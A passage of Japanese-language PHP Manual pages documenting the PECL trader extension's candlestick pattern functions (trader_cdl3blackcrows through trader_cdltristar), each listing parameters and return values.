Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Black Crows

  • ≪ trader_cdl2crows
  • trader_cdl3inside ≫
  • PHP Manual
  • Trader 関数
  • Three Black Crows

trader_cdl3blackcrows

(PECL trader >= 0.2.0)

trader_cdl3blackcrows — Three Black Crows

説明

trader_cdl3blackcrows ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Inside Up/Down

  • ≪ trader_cdl3blackcrows
  • trader_cdl3linestrike ≫
  • PHP Manual
  • Trader 関数
  • Three Inside Up/Down

trader_cdl3inside

(PECL trader >= 0.2.0)

trader_cdl3inside — Three Inside Up/Down

説明

trader_cdl3inside ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three-Line Strike

  • ≪ trader_cdl3inside
  • trader_cdl3outside ≫
  • PHP Manual
  • Trader 関数
  • Three-Line Strike

trader_cdl3linestrike

(PECL trader >= 0.2.0)

trader_cdl3linestrike — Three-Line Strike

説明

trader_cdl3linestrike ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Outside Up/Down

  • ≪ trader_cdl3linestrike
  • trader_cdl3starsinsouth ≫
  • PHP Manual
  • Trader 関数
  • Three Outside Up/Down

trader_cdl3outside

(PECL trader >= 0.2.0)

trader_cdl3outside — Three Outside Up/Down

説明

trader_cdl3outside ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Stars In The South

  • ≪ trader_cdl3outside
  • trader_cdl3whitesoldiers ≫
  • PHP Manual
  • Trader 関数
  • Three Stars In The South

trader_cdl3starsinsouth

(PECL trader >= 0.2.0)

trader_cdl3starsinsouth — Three Stars In The South

説明

trader_cdl3starsinsouth ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Advancing White Soldiers

  • ≪ trader_cdl3starsinsouth
  • trader_cdlabandonedbaby ≫
  • PHP Manual
  • Trader 関数
  • Three Advancing White Soldiers

trader_cdl3whitesoldiers

(PECL trader >= 0.2.0)

trader_cdl3whitesoldiers — Three Advancing White Soldiers

説明

trader_cdl3whitesoldiers ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Abandoned Baby

  • ≪ trader_cdl3whitesoldiers
  • trader_cdladvanceblock ≫
  • PHP Manual
  • Trader 関数
  • Abandoned Baby

trader_cdlabandonedbaby

(PECL trader >= 0.2.0)

trader_cdlabandonedbaby — Abandoned Baby

説明

trader_cdlabandonedbaby ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Advance Block

  • ≪ trader_cdlabandonedbaby
  • trader_cdlbelthold ≫
  • PHP Manual
  • Trader 関数
  • Advance Block

trader_cdladvanceblock

(PECL trader >= 0.2.0)

trader_cdladvanceblock — Advance Block

説明

trader_cdladvanceblock ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Belt-hold

  • ≪ trader_cdladvanceblock
  • trader_cdlbreakaway ≫
  • PHP Manual
  • Trader 関数
  • Belt-hold

trader_cdlbelthold

(PECL trader >= 0.2.0)

trader_cdlbelthold — Belt-hold

説明

trader_cdlbelthold ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Breakaway

  • ≪ trader_cdlbelthold
  • trader_cdlclosingmarubozu ≫
  • PHP Manual
  • Trader 関数
  • Breakaway

trader_cdlbreakaway

(PECL trader >= 0.2.0)

trader_cdlbreakaway — Breakaway

説明

trader_cdlbreakaway ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Closing Marubozu

  • ≪ trader_cdlbreakaway
  • trader_cdlconcealbabyswall ≫
  • PHP Manual
  • Trader 関数
  • Closing Marubozu

trader_cdlclosingmarubozu

(PECL trader >= 0.2.0)

trader_cdlclosingmarubozu — Closing Marubozu

説明

trader_cdlclosingmarubozu ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Concealing Baby Swallow

  • ≪ trader_cdlclosingmarubozu
  • trader_cdlcounterattack ≫
  • PHP Manual
  • Trader 関数
  • Concealing Baby Swallow

trader_cdlconcealbabyswall

(PECL trader >= 0.2.0)

trader_cdlconcealbabyswall — Concealing Baby Swallow

説明

trader_cdlconcealbabyswall ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Counterattack

  • ≪ trader_cdlconcealbabyswall
  • trader_cdldarkcloudcover ≫
  • PHP Manual
  • Trader 関数
  • Counterattack

trader_cdlcounterattack

(PECL trader >= 0.2.0)

trader_cdlcounterattack — Counterattack

説明

trader_cdlcounterattack ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dark Cloud Cover

  • ≪ trader_cdlcounterattack
  • trader_cdldoji ≫
  • PHP Manual
  • Trader 関数
  • Dark Cloud Cover

trader_cdldarkcloudcover

(PECL trader >= 0.2.0)

trader_cdldarkcloudcover — Dark Cloud Cover

説明

trader_cdldarkcloudcover ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji

  • ≪ trader_cdldarkcloudcover
  • trader_cdldojistar ≫
  • PHP Manual
  • Trader 関数
  • Doji

trader_cdldoji

(PECL trader >= 0.2.0)

trader_cdldoji — Doji

説明

trader_cdldoji ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji Star

  • ≪ trader_cdldoji
  • trader_cdldragonflydoji ≫
  • PHP Manual
  • Trader 関数
  • Doji Star

trader_cdldojistar

(PECL trader >= 0.2.0)

trader_cdldojistar — Doji Star

説明

trader_cdldojistar ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dragonfly Doji

  • ≪ trader_cdldojistar
  • trader_cdlengulfing ≫
  • PHP Manual
  • Trader 関数
  • Dragonfly Doji

trader_cdldragonflydoji

(PECL trader >= 0.2.0)

trader_cdldragonflydoji — Dragonfly Doji

説明

trader_cdldragonflydoji ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Engulfing Pattern

  • ≪ trader_cdldragonflydoji
  • trader_cdleveningdojistar ≫
  • PHP Manual
  • Trader 関数
  • Engulfing Pattern

trader_cdlengulfing

(PECL trader >= 0.2.0)

trader_cdlengulfing — Engulfing Pattern

説明

trader_cdlengulfing ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Doji Star

  • ≪ trader_cdlengulfing
  • trader_cdleveningstar ≫
  • PHP Manual
  • Trader 関数
  • Evening Doji Star

trader_cdleveningdojistar

(PECL trader >= 0.2.0)

trader_cdleveningdojistar — Evening Doji Star

説明

trader_cdleveningdojistar ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Star

  • ≪ trader_cdleveningdojistar
  • trader_cdlgapsidesidewhite ≫
  • PHP Manual
  • Trader 関数
  • Evening Star

trader_cdleveningstar

(PECL trader >= 0.2.0)

trader_cdleveningstar — Evening Star

説明

trader_cdleveningstar ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Up/Down-gap side-by-side white lines

  • ≪ trader_cdleveningstar
  • trader_cdlgravestonedoji ≫
  • PHP Manual
  • Trader 関数
  • Up/Down-gap side-by-side white lines

trader_cdlgapsidesidewhite

(PECL trader >= 0.2.0)

trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines

説明

trader_cdlgapsidesidewhite ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gravestone Doji

  • ≪ trader_cdlgapsidesidewhite
  • trader_cdlhammer ≫
  • PHP Manual
  • Trader 関数
  • Gravestone Doji

trader_cdlgravestonedoji

(PECL trader >= 0.2.0)

trader_cdlgravestonedoji — Gravestone Doji

説明

trader_cdlgravestonedoji ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hammer

  • ≪ trader_cdlgravestonedoji
  • trader_cdlhangingman ≫
  • PHP Manual
  • Trader 関数
  • Hammer

trader_cdlhammer

(PECL trader >= 0.2.0)

trader_cdlhammer — Hammer

説明

trader_cdlhammer ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hanging Man

  • ≪ trader_cdlhammer
  • trader_cdlharami ≫
  • PHP Manual
  • Trader 関数
  • Hanging Man

trader_cdlhangingman

(PECL trader >= 0.2.0)

trader_cdlhangingman — Hanging Man

説明

trader_cdlhangingman ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Pattern

  • ≪ trader_cdlhangingman
  • trader_cdlharamicross ≫
  • PHP Manual
  • Trader 関数
  • Harami Pattern

trader_cdlharami

(PECL trader >= 0.2.0)

trader_cdlharami — Harami Pattern

説明

trader_cdlharami ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Cross Pattern

  • ≪ trader_cdlharami
  • trader_cdlhighwave ≫
  • PHP Manual
  • Trader 関数
  • Harami Cross Pattern

trader_cdlharamicross

(PECL trader >= 0.2.0)

trader_cdlharamicross — Harami Cross Pattern

説明

trader_cdlharamicross ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


High-Wave Candle

  • ≪ trader_cdlharamicross
  • trader_cdlhikkake ≫
  • PHP Manual
  • Trader 関数
  • High-Wave Candle

trader_cdlhighwave

(PECL trader >= 0.2.0)

trader_cdlhighwave — High-Wave Candle

説明

trader_cdlhighwave ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hikkake Pattern

  • ≪ trader_cdlhighwave
  • trader_cdlhikkakemod ≫
  • PHP Manual
  • Trader 関数
  • Hikkake Pattern

trader_cdlhikkake

(PECL trader >= 0.2.0)

trader_cdlhikkake — Hikkake Pattern

説明

trader_cdlhikkake ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Modified Hikkake Pattern

  • ≪ trader_cdlhikkake
  • trader_cdlhomingpigeon ≫
  • PHP Manual
  • Trader 関数
  • Modified Hikkake Pattern

trader_cdlhikkakemod

(PECL trader >= 0.2.0)

trader_cdlhikkakemod — Modified Hikkake Pattern

説明

trader_cdlhikkakemod ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Homing Pigeon

  • ≪ trader_cdlhikkakemod
  • trader_cdlidentical3crows ≫
  • PHP Manual
  • Trader 関数
  • Homing Pigeon

trader_cdlhomingpigeon

(PECL trader >= 0.2.0)

trader_cdlhomingpigeon — Homing Pigeon

説明

trader_cdlhomingpigeon ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Identical Three Crows

  • ≪ trader_cdlhomingpigeon
  • trader_cdlinneck ≫
  • PHP Manual
  • Trader 関数
  • Identical Three Crows

trader_cdlidentical3crows

(PECL trader >= 0.2.0)

trader_cdlidentical3crows — Identical Three Crows

説明

trader_cdlidentical3crows ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


In-Neck Pattern

  • ≪ trader_cdlidentical3crows
  • trader_cdlinvertedhammer ≫
  • PHP Manual
  • Trader 関数
  • In-Neck Pattern

trader_cdlinneck

(PECL trader >= 0.2.0)

trader_cdlinneck — In-Neck Pattern

説明

trader_cdlinneck ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Inverted Hammer

  • ≪ trader_cdlinneck
  • trader_cdlkicking ≫
  • PHP Manual
  • Trader 関数
  • Inverted Hammer

trader_cdlinvertedhammer

(PECL trader >= 0.2.0)

trader_cdlinvertedhammer — Inverted Hammer

説明

trader_cdlinvertedhammer ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking

  • ≪ trader_cdlinvertedhammer
  • trader_cdlkickingbylength ≫
  • PHP Manual
  • Trader 関数
  • Kicking

trader_cdlkicking

(PECL trader >= 0.2.0)

trader_cdlkicking — Kicking

説明

trader_cdlkicking ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking - bull/bear determined by the longer marubozu

  • ≪ trader_cdlkicking
  • trader_cdlladderbottom ≫
  • PHP Manual
  • Trader 関数
  • Kicking - bull/bear determined by the longer marubozu

trader_cdlkickingbylength

(PECL trader >= 0.2.0)

trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu

説明

trader_cdlkickingbylength ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ladder Bottom

  • ≪ trader_cdlkickingbylength
  • trader_cdllongleggeddoji ≫
  • PHP Manual
  • Trader 関数
  • Ladder Bottom

trader_cdlladderbottom

(PECL trader >= 0.2.0)

trader_cdlladderbottom — Ladder Bottom

説明

trader_cdlladderbottom ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Legged Doji

  • ≪ trader_cdlladderbottom
  • trader_cdllongline ≫
  • PHP Manual
  • Trader 関数
  • Long Legged Doji

trader_cdllongleggeddoji

(PECL trader >= 0.2.0)

trader_cdllongleggeddoji — Long Legged Doji

説明

trader_cdllongleggeddoji ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Line Candle

  • ≪ trader_cdllongleggeddoji
  • trader_cdlmarubozu ≫
  • PHP Manual
  • Trader 関数
  • Long Line Candle

trader_cdllongline

(PECL trader >= 0.2.0)

trader_cdllongline — Long Line Candle

説明

trader_cdllongline ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Marubozu

  • ≪ trader_cdllongline
  • trader_cdlmatchinglow ≫
  • PHP Manual
  • Trader 関数
  • Marubozu

trader_cdlmarubozu

(PECL trader >= 0.2.0)

trader_cdlmarubozu — Marubozu

説明

trader_cdlmarubozu ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Matching Low

  • ≪ trader_cdlmarubozu
  • trader_cdlmathold ≫
  • PHP Manual
  • Trader 関数
  • Matching Low

trader_cdlmatchinglow

(PECL trader >= 0.2.0)

trader_cdlmatchinglow — Matching Low

説明

trader_cdlmatchinglow ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Mat Hold

  • ≪ trader_cdlmatchinglow
  • trader_cdlmorningdojistar ≫
  • PHP Manual
  • Trader 関数
  • Mat Hold

trader_cdlmathold

(PECL trader >= 0.2.0)

trader_cdlmathold — Mat Hold

説明

trader_cdlmathold ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Doji Star

  • ≪ trader_cdlmathold
  • trader_cdlmorningstar ≫
  • PHP Manual
  • Trader 関数
  • Morning Doji Star

trader_cdlmorningdojistar

(PECL trader >= 0.2.0)

trader_cdlmorningdojistar — Morning Doji Star

説明

trader_cdlmorningdojistar ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Star

  • ≪ trader_cdlmorningdojistar
  • trader_cdlonneck ≫
  • PHP Manual
  • Trader 関数
  • Morning Star

trader_cdlmorningstar

(PECL trader >= 0.2.0)

trader_cdlmorningstar — Morning Star

説明

trader_cdlmorningstar ( array $open , array $high , array $low , array $close , float $penetration = ? ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

penetration

Percentage of penetration of a candle within another candle.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On-Neck Pattern

  • ≪ trader_cdlmorningstar
  • trader_cdlpiercing ≫
  • PHP Manual
  • Trader 関数
  • On-Neck Pattern

trader_cdlonneck

(PECL trader >= 0.2.0)

trader_cdlonneck — On-Neck Pattern

説明

trader_cdlonneck ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Piercing Pattern

  • ≪ trader_cdlonneck
  • trader_cdlrickshawman ≫
  • PHP Manual
  • Trader 関数
  • Piercing Pattern

trader_cdlpiercing

(PECL trader >= 0.2.0)

trader_cdlpiercing — Piercing Pattern

説明

trader_cdlpiercing ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rickshaw Man

  • ≪ trader_cdlpiercing
  • trader_cdlrisefall3methods ≫
  • PHP Manual
  • Trader 関数
  • Rickshaw Man

trader_cdlrickshawman

(PECL trader >= 0.2.0)

trader_cdlrickshawman — Rickshaw Man

説明

trader_cdlrickshawman ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rising/Falling Three Methods

  • ≪ trader_cdlrickshawman
  • trader_cdlseparatinglines ≫
  • PHP Manual
  • Trader 関数
  • Rising/Falling Three Methods

trader_cdlrisefall3methods

(PECL trader >= 0.2.0)

trader_cdlrisefall3methods — Rising/Falling Three Methods

説明

trader_cdlrisefall3methods ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Separating Lines

  • ≪ trader_cdlrisefall3methods
  • trader_cdlshootingstar ≫
  • PHP Manual
  • Trader 関数
  • Separating Lines

trader_cdlseparatinglines

(PECL trader >= 0.2.0)

trader_cdlseparatinglines — Separating Lines

説明

trader_cdlseparatinglines ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Shooting Star

  • ≪ trader_cdlseparatinglines
  • trader_cdlshortline ≫
  • PHP Manual
  • Trader 関数
  • Shooting Star

trader_cdlshootingstar

(PECL trader >= 0.2.0)

trader_cdlshootingstar — Shooting Star

説明

trader_cdlshootingstar ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Short Line Candle

  • ≪ trader_cdlshootingstar
  • trader_cdlspinningtop ≫
  • PHP Manual
  • Trader 関数
  • Short Line Candle

trader_cdlshortline

(PECL trader >= 0.2.0)

trader_cdlshortline — Short Line Candle

説明

trader_cdlshortline ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Spinning Top

  • ≪ trader_cdlshortline
  • trader_cdlstalledpattern ≫
  • PHP Manual
  • Trader 関数
  • Spinning Top

trader_cdlspinningtop

(PECL trader >= 0.2.0)

trader_cdlspinningtop — Spinning Top

説明

trader_cdlspinningtop ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stalled Pattern

  • ≪ trader_cdlspinningtop
  • trader_cdlsticksandwich ≫
  • PHP Manual
  • Trader 関数
  • Stalled Pattern

trader_cdlstalledpattern

(PECL trader >= 0.2.0)

trader_cdlstalledpattern — Stalled Pattern

説明

trader_cdlstalledpattern ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stick Sandwich

  • ≪ trader_cdlstalledpattern
  • trader_cdltakuri ≫
  • PHP Manual
  • Trader 関数
  • Stick Sandwich

trader_cdlsticksandwich

(PECL trader >= 0.2.0)

trader_cdlsticksandwich — Stick Sandwich

説明

trader_cdlsticksandwich ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Takuri (Dragonfly Doji with very long lower shadow)

  • ≪ trader_cdlsticksandwich
  • trader_cdltasukigap ≫
  • PHP Manual
  • Trader 関数
  • Takuri (Dragonfly Doji with very long lower shadow)

trader_cdltakuri

(PECL trader >= 0.2.0)

trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)

説明

trader_cdltakuri ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tasuki Gap

  • ≪ trader_cdltakuri
  • trader_cdlthrusting ≫
  • PHP Manual
  • Trader 関数
  • Tasuki Gap

trader_cdltasukigap

(PECL trader >= 0.2.0)

trader_cdltasukigap — Tasuki Gap

説明

trader_cdltasukigap ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Thrusting Pattern

  • ≪ trader_cdltasukigap
  • trader_cdltristar ≫
  • PHP Manual
  • Trader 関数
  • Thrusting Pattern

trader_cdlthrusting

(PECL trader >= 0.2.0)

trader_cdlthrusting — Thrusting Pattern

説明

trader_cdlthrusting ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tristar Pattern

  • ≪ trader_cdlthrusting
  • trader_cdlunique3river ≫
  • PHP Manual
  • Trader 関数
  • Tristar Pattern

trader_cdltristar

(PECL trader >= 0.2.0)

trader_cdltristar — Tristar Pattern

説明

